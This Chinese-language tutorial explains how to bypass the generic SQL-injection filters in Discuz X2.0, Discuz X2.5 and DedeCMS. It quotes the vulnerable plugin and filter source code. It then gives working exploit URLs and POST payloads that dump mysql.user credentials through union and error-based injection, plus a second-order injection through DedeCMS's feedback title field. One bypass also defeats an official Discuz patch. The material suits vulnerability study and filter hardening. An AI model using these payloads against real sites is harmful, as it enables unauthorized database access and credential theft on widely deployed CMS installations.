幾種通用防注入程式繞過方法
0x00 前言
目前主流的CMS系統當中都會內建一些防注入的程式,例如Discuz、dedeCMS等,本篇主要介紹繞過方法。
0x01 Discuz x2.0防注入
防注入原理
這裡以Discuz最近爆出的一個外掛的注入漏洞為例,來詳細說明繞過方法。
漏洞本身很簡單,存在於/source/plugin/v63shop/config.inc.php中的第29行getGoods函式中,程式碼如下所示
#!php
function getGoods($id){
$query = DB::query('select * from '.DB::table('v63_goods').' where `id` ='.$id);
$goods = DB::fetch($query);
$goods['endtime2'] = date('Y-m-d',$goods['endtime']);
$goods['price2'] = $goods['price'];
if($goods['sort'] ==2){
$goods['endtime2']= date('Y-m-d H:i:s',$goods['endtime']);
$query = DB::query("select * from ".DB::table('v63_pm')." where gid='$goods[id]' order by id desc ");
$last = DB::fetch($query);
if(is_array($last)){
$goods['price'] = $last['chujia'];
$goods['uid'] = $last['uid'];
$goods['username'] = $last['username'];
$goods['pm'] = $last;
if(time()+600> $goods['endtime']){
$goods['endtime'] = $last[time]+600;
$goods['endtime2']= date('Y-m-d H:i:s',$last[time]+600);
}
}
}
return $goods;
}
觸發漏洞的入口點在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如圖所示: 
下面可以構造如下請求觸發漏洞了,如圖所示: 
不過程式內建了一個_do_query_safe函式用來防注入,如圖所示 
這裡跟蹤一下_do_query_safe()函式的執行,它會對以下關鍵字做過濾,如圖所示:

因為我們的url中出現了union select,所以會被過濾掉。
繞過方法
這裡利用Mysql的一個特性繞過_do_query_safe函式過濾,提交如下url:
http://localhost/discuzx2/plugin.php?id=v63shop:goods&pac=info&gid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
這裡我們跟蹤一下,繞過的具體過程。它會將/**/中間的內容去掉,然後儲存在$clean變數中,其值為
select * from pre_v63_goods where `id` =1 and 1=2 union /**/ 1,2,3,4,5,6,concat(user,0x23,password),8,9,10,11,12,13 from mysql.user
再進一步跟蹤,它會將/**/
也去掉,然對$clean變數做過濾,如圖所示
 此時$clean值,如圖所示 
此時$clean變數中不在含有危險字串,繞過_do_query_safe函式過濾,成功注入,截圖如下: 
0x02 Discuz X2.5防注入
防注入原理
Discuz X2.5版修改了防注入函式的程式碼,在/config/config_global.php中有如下程式碼,如圖所示 
這裡$_config['security']['querysafe']['afullnote']
預設被設定為0,重點關注這一點。
這裡跟蹤一下失敗的原因,如圖所示: 
此時觀察一下變數,_do_query_safe($sql)函式會將/**/
中的內容去掉,然後存到$clean中,如圖所示: 
其實,程式執行到這裡跟Discuz X2.0沒有區別,$clean的值都一樣。但是關鍵在下面,如圖所示:
 因為前面提到$_config['security']['querysafe']['afullnote']=’0’,所以這裡不會替換/**/
為空,並且它在後面會判斷$clean中是否會出現“/*”,如圖所示:  
所以注入失敗。
繞過方法
在Mysql當中,[email protected],可以用set @a=’abc’,來為變數賦值。這裡為了合法的構造出一個單引號,目的是為了讓sql正確,我們可以用@'
放入sql語句當中,幫助我們繞過防注入程式檢查。
這裡利用如下方式繞過_do_query_safe函式過濾,如下所示:
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=@`'` union select @`'`,2,3,4,5,6,7,concat(user,0x3a,password),9,10,11,12,13,14 from mysql.user
這裡跟蹤一下執行的過程,如圖所示:
 這裡有一個if判斷,重點看這句
#!php
$clean = preg_replace("/'(.+?)'/s", '', $sql);
它會將$sql中單引號引起來的字串省略掉,所以我們可以用繞過dede防住ids的思路,利用
@`'` union select @`'`
這樣的方法,在下面的過濾中省掉union select,這裡跟蹤一下,如圖所示: 
這樣便繞過了_do_query_safe函式檢測,成功繞過防注入,如圖所示: 
不過後來Discuz官方釋出了一個修復補丁,但並沒用從根本上解決問題。官方的修復程式碼如下: 
加了一個判斷,過濾字串中的@,但是始終沒有修復根本問題,關鍵是上邊的那個if判斷會將單引號之間的內容(包括單引號)替換為空,程式碼如下:
#!php
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
}
[email protected],從而繞過它的過濾,利用如下所示:
http://localhost/discuz/plugin.php?id=v63shop:goods&pac=info&gid=`'` or @`''` union select 1 from (select count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a)b where @`'`
這裡我引入了`'`[email protected],並將第一個@`'`替換為@`''`,這樣便可以替換掉第二個@,這裡我們跟蹤一下程式碼,如圖所示: 
可以看到$clean變為
select * from pre_v63_goods where `id` =``
成功繞過補丁,如圖所示:
 不過這樣做的代價是不能再使用union select了,只能透過報錯獲取資料。
0x03 DedeCMS防注入
防注入原理
這裡我也以最近熱點分析的dedeCMS feedback.php注入漏洞為例,分析如何繞過其防注入系統。不過在這之前,還得先提一下這個漏洞。
漏洞存在於/plus/feedback.php中的第244行,程式碼如下所示
if($comtype == 'comments')
{
$arctitle = addslashes($title);
$typeid = intval($typeid);
$ischeck = intval($ischeck);
$feedbacktype = preg_replace("#[^0-9a-z]#i", "", $feedbacktype);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 發表評論錯誤! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
//引用回覆
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg, 2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
$dsql->ExecuteNoneQuery($inquery);
}
這裡$title變數未初始化,所以$title可以作為可控變數,所以我們可以進一步控制$arctitle。跟蹤發現$arctitle被直接帶入SQL語句當中,但是這裡執行的INSERT語句入庫之後會將前面addslashes轉義的單引號在會員還原回去。進一步跟蹤下面的程式碼,在第268行,如下所示
$row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
$arctitle = $row['arctitle'];
這裡的查詢#@__feedback表正式上面INSERT的那個表,arctitle欄位取出來放到$arctitle變數當中,繼續跟蹤到第273行,這下豁然開朗了,
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
這裡$arctitle變數未作任何處理,就丟進了SQL語句當中,由於我們可以控制$title,雖然$arctitle是被addslashes函式處理過的資料,但是被INSERT到資料庫中又被還原了,所以綜合起來這就造成了二次注入漏洞。
但是這裡如何利用呢,透過跟蹤程式碼發現,整個dede在整個過程中始終沒有輸出資訊,所以我們無法透過構造公式報錯來獲取資料,但是進一步分析程式碼發現#@__feedback表當中的msg欄位會被輸出。由於$arctitle變數是可控的,所以我們可以透過構造SQL語句,將我們要執行的程式碼插入到msg欄位當中,這樣便可以輸出執行的內容了。
繞過方法
眾所周知,dedeCMS內建了一個CheckSql()函式用來防注入,它是80sec開發的通用防注入ids程式,每當執行sql之前都要用它來檢查一遍。其程式碼如下所示:
#!php
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查詢語句,直接過濾一些特殊語法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL檢查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
//老版本的Mysql並不支援union,常用的程式裡也不使用union,但是一些駭客使用它,所以檢查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//釋出版本的程式可能比較少包括--,#這樣的註釋,但是駭客經常使用它們
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//這些函式不會被使用,但是駭客會用它來操作檔案,down掉資料庫
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支援子查詢,我們的程式裡可能也用得少,但是駭客可以使用它來查詢資料庫敏感資訊
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
但透過跟蹤這段程式碼發現,它有個特徵就是會將兩個單引號之間的內容用$s$替換,例如’select’會被替換為$s$,這裡用兩個@`'`包含敏感字,這樣$clean變數中就不會出現敏感字,從而繞過CheckSql()函式檢測。
這裡可以設定title為如下程式碼,一方面繞過ids防注入程式碼檢測,另一方面加一個#註釋掉後面的程式碼,但是還要做一下變形,就是這個char(@`'`)了。因為#@__feedback的所有欄位都被設定為NOT NULL,而@`'`是一個變數,預設為NULL,直接插入@`'`的話會報錯,所以需要以char(@`'`)的方法轉換一下。
',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟蹤程式碼,如圖所示 
如下SQL語句
INSERT INTO `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('1','1','遊客','\',char(@`\'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,','127.0.0.1','1','1364401789', '0','0','0','feedback','1','genxor');
被替換為了
insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,$s$,$s$,$s$, $s$,$s$,$s$,$s$,$s$,$s$);
字串中沒有任何敏感字,成功繞過CheckSql()函式檢測。
POST如下請求給feedback.php,如下所示:
action=send&comtype=comments&aid=1&isconfirm=yes&feedbacktype=feedback&face=1&msg=genxor¬user=1&typeid=1&title=',char(@`'`),1,1,1,1,1,1,1,(SELECT user()))#,(1,
跟蹤程式碼,實際執行的SQL語句跟蹤變數如下所示: 
被插入資料庫中的內容,如圖所示: 
下面再POST如下內容給feedback.php,
action=send&comtype=reply&aid=1&isconfirm=yes&feedbacktype=feedback&fid=50
跟蹤一下這裡執行的SQL語句,如圖所示 
所以select user()執行了,並且可以作為msg欄位輸出。
0x04 總結
在寫這篇文章之前,我分析了很多常用的cms系統的原始碼,包括discuz、dedecms、phpwind、phpcms等,只有在discuz、dedecms這兩個系統中用到通用防注入,但是它們所覆蓋的使用者群已將相當龐大了。如果能在發現程式注入漏洞的情況下,這些繞過方法還是很有價值的。
相關文章
- 4、幾種通用防注入程式繞過方法2018-05-18
- Sql注入之WAF繞過2024-06-21SQL
- sql注入之堆疊注入及waf繞過注入2021-08-03SQL
- 淺談繞過WAF的數種方法2012-02-07
- 教你一種繞過谷歌禁止反射的方法2019-04-08谷歌反射
- php防盜鏈幾種程式碼2012-11-16PHP
- 程式碼注入的三種方法2013-04-24
- sql注入waf繞過簡單入門2019-03-27SQL
- 五種繞過Linux命令別名的方法2018-03-13Linux
- php過濾提交資訊防注入2011-08-05PHP
- 4 種繞過 Linux/Unix 命令別名的方法2022-11-27Linux
- 爬蟲兩種繞過5s盾的方法2024-05-08爬蟲
- Webscan360的防禦與繞過2020-08-19Web
- xss原理繞過防禦個人總結2020-07-24
- 中轉Webshell繞過流量檢測防護2024-03-08Webshell
- .Net防sql注入的方法總結2019-06-22SQL
- MySQL 及 SQL 注入與防範方法2017-03-06MySql
- Spring注入Bean的幾種方式2019-04-06SpringBean
- java程式轉為exe幾種方法2013-07-15Java
- 繞過PowerShell執行策略方法2020-06-20
- powershell程式碼混淆繞過2020-06-21
- PHP網站中整體防注入方法2008-02-06PHP網站
- spring注入bean的幾種策略模式2020-05-05SpringBean模式
- js繞過-前端加密繞過2021-08-12JS前端加密
- iOS應用程式碼注入防護2019-01-16iOS
- mysql防注入2020-09-28MySql
- SQL防注入2017-03-02SQL
- 使用DLL注入繞過“受控制的資料夾訪問”功能2018-10-17
- js呼叫後臺程式碼的幾種方法2017-03-15JS
- PHP SQL防注入2015-04-29PHPSQL
- DVWA檔案包含全等級繞過方法2020-12-13
- css居中幾種方法2018-07-28CSS
- iOS 幾種加密方法2017-12-27iOS加密
- 微信小程式 使用filter過濾器幾種方式2019-02-27微信小程式Filter過濾器
- 繞過應用程式白名單技巧2018-06-04
- 小程式繞過 sign 簽名2024-03-20
- 安全人員發現 SELinux 防禦可被輕易繞過2015-03-26Linux
- 微信圖片防盜鏈解決方案:自建代理繞過限制。2024-11-01